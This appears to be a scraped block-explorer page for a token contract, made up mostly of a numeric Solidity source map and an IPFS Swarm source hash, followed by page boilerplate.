1:399:1;12476:64:0;12568:1;12559:6;:10;12551:64;;;;-1:-1:-1;;;12551:64:0;;8727:2:1;12551:64:0;;;8709:21:1;8766:2;8746:18;;;8739:30;8805:34;8785:18;;;8778:62;-1:-1:-1;;;8856:18:1;;;8849:39;8905:19;;12551:64:0;8525:405:1;12551:64:0;-1:-1:-1;;;;;12636:14:0;;;;;;:8;:14;;;;;:24;;12654:6;;12636:14;:24;;12654:6;;12636:24;:::i;:::-;;;;-1:-1:-1;;;;;;;12752:24:0;;12671:22;12752:24;;;:18;:24;;;;;;12696:6;;12671:22;12752:24;;12751:25;:52;;;;-1:-1:-1;;;;;;12781:22:0;;;;;;:18;:22;;;;;;;;12780:23;12751:52;12748:97;;;-1:-1:-1;12829:4:0;12748:97;12859:8;;-1:-1:-1;;;12859:8:0;;;;12855:43;;12871:24;12886:4;12892:2;12871:14;:24::i;:::-;12911:7;12908:1231;;;12943:13;;-1:-1:-1;;;;;12937:19:0;;;12943:13;;12937:19;12934:311;;12994:12;;12984:6;:22;;12976:76;;;;-1:-1:-1;;;12976:76:0;;;;;;;:::i;:::-;13105:16;;13095:6;13079:13;13089:2;13079:9;:13::i;:::-;:22;;;;:::i;:::-;:42;;13071:99;;;;-1:-1:-1;;;13071:99:0;;;;;;;:::i;:::-;13206:23;13218:6;13226:2;13206:11;:23::i;:::-;13189:40;;12934:311;13272:13;;-1:-1:-1;;;;;13264:21:0;;;13272:13;;13264:21;13261:574;;13323:12;;13313:6;:22;;13305:76;;;;-1:-1:-1;;;13305:76:0;;;;;;;:::i;:::-;13417:26;13430:6;13438:4;13417:12;:26::i;:::-;13400:43;;13475:1;13462:9;;:14;;;;;;;:::i;:::-;;;;-1:-1:-1;;13529:17:0;;13501:24;13519:4;13501:9;:24::i;:::-;:45;;:58;;;;-1:-1:-1;13551:8:0;;-1:-1:-1;;;13551:8:0;;;;13550:9;13501:58;13497:323;;;13584:8;:15;;-1:-1:-1;;;;13584:15:0;-1:-1:-1;;;13584:15:0;;;13610:17;;13601:27;;:8;:27::i;:::-;13630:8;:16;;-1:-1:-1;;;;13630:16:0;;;13497:323;;;13688:1;13676:9;;:13;:26;;;;-1:-1:-1;13694:8:0;;-1:-1:-1;;;13694:8:0;;;;13693:9;13676:26;13672:148;;;13727:8;:15;;-1:-1:-1;;;;13727:15:0;-1:-1:-1;;;13727:15:0;;;13744:38;13780:1;13753:24;13771:4;13753:9;:24::i;:::-;:28;;;;:::i;:::-;13744:8;:38::i;:::-;13784:8;:16;;-1:-1:-1;;;;13784:16:0;;;13672:148;13860:13;;-1:-1:-1;;;;;13854:19:0;;;13860:13;;13854:19;;;;:44;;-1:-1:-1;13885:13:0;;-1:-1:-1;;;;;13877:21:0;;;13885:13;;13877:21;;13854:44;13851:277;;;13936:12;;13926:6;:22;;13918:76;;;;-1:-1:-1;;;13918:76:0;;;;;;;:::i;:::-;14047:16;;14037:6;14021:13;14031:2;14021:9;:13::i;:::-;:22;;;;:::i;:::-;:42;;14013:99;;;;-1:-1:-1;;;14013:99:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14159:12:0;;;;;;:8;:12;;;;;:30;;14175:14;;14159:12;:30;;14175:14;;14159:30;:::i;:::-;;;;;;;;14220:2;-1:-1:-1;;;;;14205:34:0;14214:4;-1:-1:-1;;;;;14205:34:0;;14224:14;14205:34;;;;160:25:1;;148:2;133:18;;14:177;14205:34:0;;;;;;;;12386:1861;;12283:1964;;;:::o;15436:831::-;2679:10;15511:4;15570:32;;;:18;:32;;;;;;15511:4;;15570:32;;15565:695;;15674:17;;:7;15654:17;15695:3;;15674:17;15649:22;;:2;:22;:::i;:::-;:42;;;;:::i;:::-;15639:53;;:6;:53;:::i;:::-;:59;;;;:::i;:::-;15619:79;-1:-1:-1;15713:44:0;2679:10;15739:17;15713:11;:44::i;:::-;15772:25;15827:17;15800:24;15818:4;15800:9;:24::i;:::-;:44;;;;:::i;:::-;15886:17;;-1:-1:-1;15866:37:0;-1:-1:-1;15859:44:0;;-1:-1:-1;;15859:44:0;15565:695;-1:-1:-1;15956:6:0;;15981:24;15999:4;15981:9;:24::i;:::-;:45;15977:125;;16047:25;16059:4;16065:6;16047:11;:25::i;:::-;16081:5;16074:12;;;;;15977:125;16116:25;16171:17;16144:24;16162:4;16144:9;:24::i;:::-;:44;;;;:::i;:::-;16231:17;;-1:-1:-1;16210:38:0;;-1:-1:-1;16203:45:0;;-1:-1:-1;;16203:45:0;14258:1170;14498:7;:17;14478;;14459:6;:16;14440;;14337:6;;14311:23;;14498:17;;14478;;14440:35;;14459:16;14440:35;:::i;:::-;:55;;;;:::i;:::-;:75;;;;:::i;:::-;14418:7;:17;14399:6;:16;:36;;14418:17;14399:36;:::i;:::-;14380:56;;:15;:56;:::i;:::-;:136;;;;:::i;:::-;14671:7;:17;14651;;14632:6;:16;14613;;14354:162;;-1:-1:-1;14527:23:0;;14613:35;;14632:16;14613:35;:::i;:::-;:55;;;;:::i;:::-;:75;;;;:::i;:::-;14591:17;;14572:16;;:36;;14591:17;14572:36;:::i;:::-;14553:56;;:15;:56;:::i;:::-;:136;;;;:::i;:::-;14527:162;-1:-1:-1;14700:25:0;14728:33;14527:162;14728:15;:33;:::i;:::-;14700:61;-1:-1:-1;14782:26:0;14811:22;:15;14831:1;14811:19;:22::i;:::-;14782:51;-1:-1:-1;14844:26:0;14873:39;:15;14782:51;14873:19;:39::i;:::-;14844:68;-1:-1:-1;14951:21:0;14983:36;14844:68;14983:16;:36::i;:::-;15031:18;15052:44;:21;15078:17;15052:25;:44::i;:::-;15031:65;-1:-1:-1;15117:23:0;15143:54;15179:17;15143:31;15031:65;15158:15;15143:14;:31::i;:::-;:35;;:54::i;:::-;15117:80;-1:-1:-1;15212:22:0;;15208:90;;15249:49;15262:18;15282:15;15249:12;:49::i;:::-;15344:9;;15336:57;;15309:12;;-1:-1:-1;;;;;15344:9:0;;15367:21;;15309:12;15336:57;15309:12;15336:57;15367:21;15344:9;15336:57;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15323:70;;;;;15412:7;15404:16;;;;;;14300:1128;;;;;;;;;;14258:1170;:::o;10196:463::-;10277:13;;-1:-1:-1;;;;;10277:13:0;;;10269:21;;;;10265:387;;10330:9;10311:29;;;;:18;:29;;;;;;;;10307:148;;;10361:9;:23;;-1:-1:-1;;;;;;10361:23:0;-1:-1:-1;;;;;10361:23:0;;;;;;;;-1:-1:-1;10403:29:0;;;:18;:29;;;;;:36;;-1:-1:-1;;10403:36:0;-1:-1:-1;10403:36:0;;;10307:148;-1:-1:-1;;;;;10473:19:0;;10487:4;10473:19;10469:121;;-1:-1:-1;;;;;10528:12:0;;10543:1;10528:12;;;:8;:12;;;;;;:46;;10562:12;10528:46;;;-1:-1:-1;;;;;10547:12:0;;;;;;:8;:12;;;;;;10528:46;-1:-1:-1;;;;;10513:12:0;;;;;;:8;:12;;;;;:61;10469:121;10196:463;;:::o;10265:387::-;10622:11;:18;;-1:-1:-1;;;;;10622:18:0;;-1:-1:-1;;;;;;10622:18:0;;;;;;10196:463;;:::o;9264:456::-;9332:7;9352:25;9408:3;9389:6;:16;;;9380:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;9352:59;;9423:26;9480:3;9461:6;:16;;;9452:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;9423:60;-1:-1:-1;9523:38:0;9423:60;9523:17;:38;:::i;:::-;9513:4;9496:23;;;;:8;:23;;;;;:65;;:23;;;:65;;;;;:::i;:::-;;;;-1:-1:-1;9601:4:0;;-1:-1:-1;;;;;;9577:70:0;;;9608:38;9629:17;9608:18;:38;:::i;:::-;9577:70;;160:25:1;;;148:2;133:18;9577:70:0;;;;;;;9693:18;9666:25;9674:17;9666:6;:25;:::i;:::-;:45;;;;:::i;:::-;9658:54;9264:456;-1:-1:-1;;;;;9264:456:0:o;9728:460::-;9797:7;9817:25;9874:3;9854:7;:17;;;9845:6;:26;;;;:::i;:::-;:32;;;;:::i;:::-;9817:60;;9889:26;9947:3;9927:7;:17;;;9918:6;:26;;;;:::i;11954:321::-;-1:-1:-1;;;;;12032:18:0;;12024:64;;;;-1:-1:-1;;;12024:64:0;;10343:2:1;12024:64:0;;;10325:21:1;10382:2;10362:18;;;10355:30;10421:34;10401:18;;;10394:62;-1:-1:-1;;;10472:18:1;;;10465:31;10513:19;;12024:64:0;10141:397:1;12024:64:0;12116:63;12135:5;12116:63;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12116:14:0;;;;;;:8;:14;;;;;;;:63;:18;:63::i;:::-;-1:-1:-1;;;;;12099:14:0;;;;;;:8;:14;;;;;:80;12200:7;;:18;;12212:5;12200:11;:18::i;:::-;12190:7;:28;12234:33;;160:25:1;;;12257:1:0;;-1:-1:-1;;;;;12234:33:0;;;;;148:2:1;133:18;12234:33:0;;;;;;;11954:321;;:::o;1813:132::-;1871:7;1898:39;1902:1;1905;1898:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1891:46;1813:132;-1:-1:-1;;;1813:132:0:o;1211:136::-;1269:7;1296:43;1300:1;1303;1296:43;;;;;;;;;;;;;;;;;:3;:43::i;16275:475::-;16365:16;;;16379:1;16365:16;;;;;;;;16341:21;;16365:16;;;;;;;;;;-1:-1:-1;16365:16:0;16341:40;;16410:4;16392;16397:1;16392:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16392:23:0;;;:7;;;;;;;;;;:23;;;;16436:15;;:22;;;-1:-1:-1;;;16436:22:0;;;;:15;;;;;:20;;:22;;;;;16392:7;;16436:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16426:4;16431:1;16426:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16426:32:0;;;:7;;;;;;;;;:32;16503:15;;16471:62;;16488:4;;16503:15;16521:11;16471:8;:62::i;:::-;16546:15;;:196;;-1:-1:-1;;;16546:196:0;;-1:-1:-1;;;;;16546:15:0;;;;:66;;:196;;16627:11;;16546:15;;16669:4;;16696;;16716:15;;16546:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16330:420;16275:475;:::o;1555:250::-;1613:7;1637:1;1642;1637:6;1633:47;;-1:-1:-1;1667:1:0;1660:8;;1633:47;1692:9;1704:5;1708:1;1704;:5;:::i;:::-;1692:17;-1:-1:-1;1737:1:0;1728:5;1732:1;1692:17;1728:5;:::i;:::-;:10;1720:56;;;;-1:-1:-1;;;1720:56:0;;12250:2:1;1720:56:0;;;12232:21:1;12289:2;12269:18;;;12262:30;12328:34;12308:18;;;12301:62;-1:-1:-1;;;12379:18:1;;;12372:31;12420:19;;1720:56:0;12048:397:1;17106:372:0;17219:15;;17187:62;;17204:4;;-1:-1:-1;;;;;17219:15:0;17237:11;17187:8;:62::i;:::-;17262:15;;17414;;17262:208;;-1:-1:-1;;;17262:208:0;;17336:4;17262:208;;;12791:34:1;12841:18;;;12834:34;;;17262:15:0;12884:18:1;;;12877:34;;;12927:18;;;12920:34;-1:-1:-1;;;;;17414:15:0;;;12970:19:1;;;12963:44;17444:15:0;13023:19:1;;;13016:35;17262:15:0;;;:31;;17302:9;;12725:19:1;;17262:208:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;17106:372;;:::o;1355:192::-;1441:7;1477:12;1469:6;;;;1461:29;;;;-1:-1:-1;;;1461:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1501:9:0;1513:5;1517:1;1513;:5;:::i;1953:278::-;2039:7;2074:12;2067:5;2059:28;;;;-1:-1:-1;;;2059:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2098:9:0;2110:5;2114:1;2110;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2742:247::-;2801:6;2854:2;2842:9;2833:7;2829:23;2825:32;2822:52;;;2870:1;2867;2860:12;2822:52;2909:9;2896:23;2928:31;2953:5;2928:31;:::i;2994:248::-;3062:6;3070;3123:2;3111:9;3102:7;3098:23;3094:32;3091:52;;;3139:1;3136;3129:12;3091:52;-1:-1:-1;;3162:23:1;;;3232:2;3217:18;;;3204:32;;-1:-1:-1;2994:248:1:o;3247:416::-;3312:6;3320;3373:2;3361:9;3352:7;3348:23;3344:32;3341:52;;;3389:1;3386;3379:12;3341:52;3428:9;3415:23;3447:31;3472:5;3447:31;:::i;:::-;3497:5;-1:-1:-1;3554:2:1;3539:18;;3526:32;3596:15;;3589:23;3577:36;;3567:64;;3627:1;3624;3617:12;3567:64;3650:7;3640:17;;;3247:416;;;;;:::o;3668:385::-;3754:6;3762;3770;3778;3831:3;3819:9;3810:7;3806:23;3802:33;3799:53;;;3848:1;3845;3838:12;3799:53;-1:-1:-1;;3871:23:1;;;3941:2;3926:18;;3913:32;;-1:-1:-1;3992:2:1;3977:18;;3964:32;;4043:2;4028:18;4015:32;;-1:-1:-1;3668:385:1;-1:-1:-1;3668:385:1:o;4058:388::-;4126:6;4134;4187:2;4175:9;4166:7;4162:23;4158:32;4155:52;;;4203:1;4200;4193:12;4155:52;4242:9;4229:23;4261:31;4286:5;4261:31;:::i;:::-;4311:5;-1:-1:-1;4368:2:1;4353:18;;4340:32;4381:33;4340:32;4381:33;:::i;4451:127::-;4512:10;4507:3;4503:20;4500:1;4493:31;4543:4;4540:1;4533:15;4567:4;4564:1;4557:15;4583:128;4650:9;;;4671:11;;;4668:37;;;4685:18;;:::i;4716:125::-;4781:9;;;4802:10;;;4799:36;;;4815:18;;:::i;4846:356::-;5048:2;5030:21;;;5067:18;;;5060:30;5126:34;5121:2;5106:18;;5099:62;5193:2;5178:18;;4846:356::o;5562:217::-;5602:1;5628;5618:132;;5672:10;5667:3;5663:20;5660:1;5653:31;5707:4;5704:1;5697:15;5735:4;5732:1;5725:15;5618:132;-1:-1:-1;5764:9:1;;5562:217::o;8935:405::-;9137:2;9119:21;;;9176:2;9156:18;;;9149:30;9215:34;9210:2;9195:18;;9188:62;-1:-1:-1;;;9281:2:1;9266:18;;9259:39;9330:3;9315:19;;8935:405::o;9345:408::-;9547:2;9529:21;;;9586:2;9566:18;;;9559:30;9625:34;9620:2;9605:18;;9598:62;-1:-1:-1;;;9691:2:1;9676:18;;9669:42;9743:3;9728:19;;9345:408::o;9758:168::-;9831:9;;;9862;;9879:15;;;9873:22;;9859:37;9849:71;;9900:18;;:::i;10675:127::-;10736:10;10731:3;10727:20;10724:1;10717:31;10767:4;10764:1;10757:15;10791:4;10788:1;10781:15;10807:251;10877:6;10930:2;10918:9;10909:7;10905:23;10901:32;10898:52;;;10946:1;10943;10936:12;10898:52;10978:9;10972:16;10997:31;11022:5;10997:31;:::i;11063:980::-;11325:4;11373:3;11362:9;11358:19;11404:6;11393:9;11386:25;11430:2;11468:6;11463:2;11452:9;11448:18;11441:34;11511:3;11506:2;11495:9;11491:18;11484:31;11535:6;11570;11564:13;11601:6;11593;11586:22;11639:3;11628:9;11624:19;11617:26;;11678:2;11670:6;11666:15;11652:29;;11699:1;11709:195;11723:6;11720:1;11717:13;11709:195;;;11788:13;;-1:-1:-1;;;;;11784:39:1;11772:52;;11879:15;;;;11844:12;;;;11820:1;11738:9;11709:195;;;-1:-1:-1;;;;;;;11960:32:1;;;;11955:2;11940:18;;11933:60;-1:-1:-1;;;12024:3:1;12009:19;12002:35;11921:3;11063:980;-1:-1:-1;;;11063:980:1:o;13062:306::-;13150:6;13158;13166;13219:2;13207:9;13198:7;13194:23;13190:32;13187:52;;;13235:1;13232;13225:12;13187:52;13264:9;13258:16;13248:26;;13314:2;13303:9;13299:18;13293:25;13283:35;;13358:2;13347:9;13343:18;13337:25;13327:35;;13062:306;;;;;:::o

Swarm Source

ipfs://ba08b8eecd9ddbc53e2a1edb0ace41e7186dfa84f249d89ea2bbb6c0da41d0f6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.